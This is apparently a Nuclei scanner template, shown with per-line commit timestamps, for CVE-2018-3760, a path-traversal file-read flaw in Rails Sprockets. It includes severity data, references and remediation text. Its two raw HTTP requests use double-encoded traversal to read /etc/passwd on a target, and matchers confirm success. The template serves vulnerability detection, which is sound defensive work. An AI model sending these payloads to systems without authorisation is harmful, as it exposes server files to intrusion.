2021-01-02 05:00:39 +00:00
id : CVE-2018-3760
2020-04-05 18:01:09 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Ruby On Rails - Local File Inclusion
2021-07-20 09:22:18 +00:00
author : 0xrudra,pikpikcu
2020-04-05 18:01:09 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : |
2022-07-26 13:45:11 +00:00
Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
2023-09-27 15:51:13 +00:00
impact : |
This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
2023-09-06 12:57:14 +00:00
remediation : |
Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-07-20 09:22:18 +00:00
- https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-3760
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-3760
2023-07-11 19:49:27 +00:00
cwe-id : CWE-200,CWE-22
2023-11-18 12:52:17 +00:00
epss-score : 0.03601
2023-12-12 11:07:52 +00:00
epss-percentile : 0.90655
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : redhat
product : cloudforms
2023-12-05 09:50:33 +00:00
tags : cve,cve2018,rails,lfi,ruby,vulhub,seclists,redhat
2020-04-05 18:01:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-20 09:22:18 +00:00
- raw :
- |
GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
Host : {{Hostname}}
- |
GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host : {{Hostname}}
2021-07-20 11:58:29 +00:00
matchers-condition : and
2020-04-05 18:01:09 +00:00
matchers :
2021-07-20 09:22:18 +00:00
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-07-20 09:22:18 +00:00
2020-04-05 18:01:09 +00:00
- type : status
status :
2020-05-25 07:49:06 +00:00
- 200
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : path
regex :
- "/etc/passwd is no longer under a load path: (.*?),"
internal : true
part : body
2023-12-12 12:02:03 +00:00
# digest: 4a0a00473045022100f68dee1efd2160f786c4c5c04854fc121a107916c3e3ad51e6d2013b327ae0d80220556129b6b6dc32ae9c3499cdc81b40367c09161515a31af46a4fcb2bf5dda6d8:922c64590222798bb761d5b6d8e72950